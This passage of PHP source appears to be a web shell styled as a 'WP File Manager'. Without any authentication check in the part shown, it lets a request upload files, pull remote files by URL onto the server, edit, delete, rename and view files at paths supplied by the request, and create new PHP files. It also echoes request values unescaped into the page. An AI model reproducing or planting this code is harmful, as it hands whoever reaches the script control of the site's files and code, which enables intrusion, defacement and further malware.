                UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
                UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
                UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
                UPLOAD_ERR_NO_FILE => 'No file was uploaded',
                UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
                UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
                UPLOAD_ERR_EXTENSION => 'File upload stopped by extension',
            ];
            red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error'));
        } else {
            if (!is_writable($upload_dir)) {
                red("Upload directory is not writable: " . $upload_dir);
            } else {
                // Get the original filename
                $filename = $uploaded_file['name'];
                
                // Remove special characters for safety
                $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename);
                
                $destination = $upload_dir . '/' . $filename;
                
                // Check if file exists and show overwrite warning
                $overwrite_msg = '';
                if (file_exists($destination)) {
                    $old_size = formatSize(filesize($destination));
                    $new_size = formatSize($uploaded_file['size']);
                    $overwrite_msg = "<br><font color='#ffb900'>âš ī¸ File already exists! Overwriting...</font>
                                   <br><i>Old size:</i> " . $old_size . " → <i>New size:</i> " . $new_size;
                }
                
                // Move uploaded file (overwrite if exists)
                if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) {
                    chmod($destination, 0644);
                    $file_size = formatSize(filesize($destination));
                    
                    $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
                           <br><i>📄 File:</i> <a href='?fileloc=" . urlencode($destination) . "&path=" . urlencode($upload_dir) . "'>" . htmlspecialchars($filename) . "</a>
                           <br><i>📊 Size:</i> " . $file_size . "
                           <br><i>📁 Path:</i> " . htmlspecialchars($destination);
                    green($msg);
                } else {
                    red("Failed to move uploaded file. Check permissions.");
                }
            }
        }
    }
    // Handle remote URL upload
    elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) {
        if (empty($_POST['namalink'])) {
            red("Filename cannot be empty!");
        } else {
            $remote_filename = $_POST['namalink'];
            $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename);
            
            $remote_content = @file_get_contents($_POST['darilink']);
            if ($remote_content === false) {
                red("Failed to fetch remote file. Check URL is accessible.");
            } else {
                if (!is_writable($upload_dir)) {
                    red("Upload directory is not writable: " . $upload_dir);
                } else {
                    $destination = $upload_dir . '/' . $remote_filename;
                    
                    // Check if file exists
                    $overwrite_msg = '';
                    if (file_exists($destination)) {
                        $old_size = formatSize(filesize($destination));
                        $new_size = formatSize(strlen($remote_content));
                        $overwrite_msg = "<br><font color='#ffb900'>âš ī¸ File already exists! Overwriting...</font>
                                       <br><i>Old size:</i> " . $old_size . " → <i>New size:</i> " . $new_size;
                    }
                    
                    if (file_put_contents($destination, $remote_content) !== false) {
                        chmod($destination, 0644);
                        $file_size = formatSize(filesize($destination));
                        
                        $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
                               <br><i>📄 File:</i> <a href='?fileloc=" . urlencode($destination) . "&path=" . urlencode($upload_dir) . "'>" . htmlspecialchars($remote_filename) . "</a>
                               <br><i>📊 Size:</i> " . $file_size . "
                               <br><i>📁 Path:</i> " . htmlspecialchars($destination);
                        green($msg);
                    } else {
                        red("Failed to save remote file. Check directory permissions.");
                    }
                }
            }
        }
    } else {
        red("No file selected or file upload failed.");
    }
}

// ============================================
// WORDPRESS-LIKE FILE EDITOR
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    $file_path = $_POST['path'];
    
    // Handle file save
    if (isset($_POST['gasedit']) && isset($_POST['src'])) {
        $content = $_POST['src'];
        // Check if content is different
        $old_content = file_exists($file_path) ? file_get_contents($file_path) : '';
        if ($content === $old_content) {
            green("â„šī¸ No changes detected. File saved as is.");
        } else {
            if (file_put_contents($file_path, $content) !== false) {
                green("✅ File saved successfully! <a href='?fileloc=" . urlencode($file_path) . "&path=" . urlencode(dirname($file_path)) . "'>View File</a>");
            } else {
                red("❌ Failed to save file! Check permissions.");
            }
        }
    }
    
    // Display editor
    $file_content = file_exists($file_path) ? file_get_contents($file_path) : '';
    echo wpEditor($file_path, $file_content);
    echo '<br><a href="?path=' . urlencode(dirname($file_path)) . '" class="btn-info">← Back to Directory</a>';
    
    // Continue after edit view
    author();
}

// Handle delete from editor
if (isset($_GET['delete'])) {
    $delete_file = $_GET['delete'];
    if (file_exists($delete_file)) {
        if (unlink($delete_file)) {
            green("đŸ—‘ī¸ File deleted successfully!");
        } else {
            red("Failed to delete file!");
        }
    }
    // Redirect back to directory
    echo '<script>window.location.href="?path=' . urlencode(dirname($delete_file)) . '";</script>';
    author();
}

// ============================================
// DISPLAY UPLOAD AND CREATE FORMS
// ============================================
echo "<center>";
echo "<table width='100%'><tr><td>";

// Create File/Folder Form
echo '<div class="create-form">';
echo '<b>📁 Create New:</b><br>';
echo '<form method="post" style="display: inline-block; margin: 5px;">';
echo '<input type="text" name="new_filename" placeholder="filename.php" style="width: 150px;"> ';
echo '<input type="text" name="file_content" placeholder="Content (optional)" style="width: 200px;"> ';
echo '<input type="hidden" name="create_action" value="file">';
echo '<input type="submit" value="📄 Create File" style="background: #2196F3;">';
echo '</form>';

echo '<form method="post" style="display: inline-block; margin: 5px;">';
echo '<input type="text" name="new_foldername" placeholder="folder_name" style="width: 150px;"> ';
echo '<input type="hidden" name="create_action" value="folder">';
echo '<input type="submit" value="📁 Create Folder" style="background: #FF9800;">';
echo '</form>';
echo '</div>';

// Upload Form
echo '<div class="create-form" style="background: #1a1a1a;">';
echo '<b>âŦ†ī¸ Upload File:</b><br>';
echo '<form enctype="multipart/form-data" method="post">';
echo '<input type="radio" value="1" name="dirnya" checked> Current Dir [ ' . cekdir() . ' ] ';
echo '<input type="radio" value="2" name="dirnya"> Root [ ' . cekroot() . ' ]<br>';
echo '<input type="hidden" name="upwkwk" value="aplod">';
echo '<input type="file" name="berkas" style="color: #fff; background: transparent; border: 1px solid #444; padding: 5px;">';
echo '<input type="submit" name="berkasnya" value="Upload File" class="up" style="cursor: pointer; border-color: #4CAF50; padding: 5px 15px;">';
echo '<br><br><b>OR Upload from URL:</b><br>';
echo 'URL: <input type="text" name="darilink" style="width: 250px; color: #fff; background: #1a1a1a; border: 1px solid #444; padding: 5px;" placeholder="http://example.com/file.zip">';
echo ' Save as: <input type="text" name="namalink" style="width: 120px; color: #fff; background: #1a1a1a; border: 1px solid #444; padding: 5px;" placeholder="file.ext">';
echo '<input type="submit" name="linknya" value="Upload URL" class="up" style="cursor: pointer; border-color: #2196F3; padding: 5px 15px;">';
echo '</form>';
echo '</div>';

echo "</td></tr></table>";
echo "</center>";
echo "</table><br>";

// ============================================
// FILE VIEWER
// ============================================
if (isset($_GET['fileloc'])) {
    $file_path = $_GET['fileloc'];
    echo "<tr><td>";
    echo "<div style='background: #23282d; padding: 20px; border-radius: 5px;'>";
    echo "<h3>📄 File: " . htmlspecialchars(basename($file_path)) . "</h3>";
    echo "<p><strong>Path:</strong> " . htmlspecialchars($file_path) . "</p>";
    echo "<p><strong>Size:</strong> " . formatSize(filesize($file_path)) . "</p>";
    echo "<p><strong>Permissions:</strong> " . substr(sprintf('%o', fileperms($file_path)), -4) . "</p>";
    
    // Check if it's a binary/image file
    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg'];
    $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log'];
    
    if (in_array($ext, $image_exts)) {
        echo "<div style='background: #1a1a1a; padding: 20px; text-align: center;'>";
        echo "<img src='" . htmlspecialchars($file_path) . "' style='max-width: 100%; max-height: 500px;'>";
        echo "</div>";
    } elseif (in_array($ext, $viewable_exts)) {
        echo "<pre style='background: #1a1a1a; padding: 15px; border-radius: 3px; overflow: auto; max-height: 500px; color: #abb8c3; font-size: 13px; font-family: monospace;'>";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "</pre>";
    } else {
        echo "<div style='background: #1a1a1a; padding: 20px; text-align: center; color: #ffb900;'>";
        echo "âš ī¸ Binary file - cannot display content<br>";
        echo "<a href='" . htmlspecialchars($file_path) . "' download class='btn-success'>Download File</a>";
        echo "</div>";
    }
    
    echo "<br><a href='?path=" . urlencode(dirname($file_path)) . "' class='btn-info'>← Back to Directory</a>";
    echo " <a href='?pilihan&path=" . urlencode(dirname($file_path)) . "' onclick='this.href+=`&edit=1`' class='btn-success'>Edit File</a>";
    echo " <a href='?pilihan&path=" . urlencode(dirname($file_path)) . "' onclick='this.href+=`&chmod=1`' class='btn-warning'>🔒 Chmod</a>";
    echo "</div>";
    echo "</td></tr>";
    author();
} 
// ============================================
// HANDLE OTHER ACTIONS (DELETE, RENAME)
// ============================================
elseif (isset($_GET['pilihan'])) {
    if ($_POST['pilih'] == "hapus") {
        if (is_dir($_POST['path'])) {
            xrmdir($_POST['path']);
            if (file_exists($_POST['path'])) {
                red("Failed to delete Directory!");
            } else {
                green("Delete Directory Success!");
            }
        } elseif (is_file($_POST['path'])) {
            @unlink($_POST['path']);
            if (file_exists($_POST['path'])) {
                red("Failed to Delete File!");
            } else {
                green("Delete File Success!");
            }
        }
    } elseif ($_POST['pilih'] == "gantinama") {
        if (isset($_POST['gantin'])) {
            $ren = @rename($_POST['path'], $_POST['newname']);
            if ($ren == true) {
                green("Change Name Success!");
            } else {
                red("Change Name Failed!");
            }
        }
        if (empty($_POST['name'])) {
            $namaawal = $_POST['newname'];
        } else {
            $namawal = $_POST['name'];
        }
        echo "<center>" . $_POST['path'] . "<br>";
        echo '<form method="post">
        New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="pilih" value="gantinama">
        <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
        </form>';
    }
}

// ============================================
// DISPLAY FILE LISTING
// ============================================
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

// Show directories first
foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
    echo "<tr>
    <td><a href=\"?path=" . urlencode($lokasi."/".$dir) . "\">📁 " . $dir . "</a></td>
    <td><center>--</center></td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
    elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';
    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=" . urlencode($lokasi) . "\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"ubahmod\">Chmod</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"" . $lokasi . "/" . $dir . "\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

// Show files
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
        $size = round($size/1024,2).' MB';
    } else {
        $size = $size.' KB';
    }
    
    $icon = getFileIcon($file);
    echo "<tr>
    <td><a href=\"?fileloc=" . urlencode($lokasi."/".$file) . "&path=" . urlencode($lokasi) . "\">" . $icon . " " . $file . "</a></td>
    <td><center>" . $size . "</center></td>
    <td><center>";
    if(is_writable("$lokasi/$file")) echo '<font color="green">';
    elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
    echo statusnya("$lokasi/$file");
    if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
    echo "</center></td><td><center>
    <form method=\"post\" action=\"?pilihan&path=" . urlencode($lokasi) . "\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"ubahmod\">Chmod</option>
    <option value=\"gantinama\">Rename</option>
    <option value=\"edit\">Edit</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"file\">
    <input type=\"hidden\" name=\"name\" value=\"$file\">
    <input type=\"hidden\" name=\"path\" value=\"" . $lokasi . "/" . $file . "\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </center></form></td>
    </tr>";
}
echo '</tr></td></table></table>';

author();

function statusnya($file){
    $statusnya = fileperms($file);
    
    if (($statusnya & 0xC000) == 0xC000) {
        $ingfo = 's';
    } elseif (($statusnya & 0xA000) == 0xA000) {
        $ingfo = 'l';
    } elseif (($statusnya & 0x8000) == 0x8000) {
        $ingfo = '-';
    } elseif (($statusnya & 0x6000) == 0x6000) {
        $ingfo = 'b';
    } elseif (($statusnya & 0x4000) == 0x4000) {
        $ingfo = 'd';
    } elseif (($statusnya & 0x2000) == 0x2000) {
        $ingfo = 'c';
    } elseif (($statusnya & 0x1000) == 0x1000) {
        $ingfo = 'p';
    } else {
        $ingfo = 'u';
    }
    
    // Owner
    $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0040) ?
    (($statusnya & 0x0800) ? 's' : 'x' ) :
    (($statusnya & 0x0800) ? 'S' : '-'));
    
    // Group
    $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0008) ?
    (($statusnya & 0x0400) ? 's' : 'x' ) :
    (($statusnya & 0x0400) ? 'S' : '-'));
    
    // World
    $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
    $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
    $ingfo .= (($statusnya & 0x0001) ?
    (($statusnya & 0x0200) ? 't' : 'x' ) :
    (($statusnya & 0x0200) ? 'T' : '-'));
    
    return $ingfo;
}
?>

← Back to Directory Edit File 🔒 Chmod

WP File Manager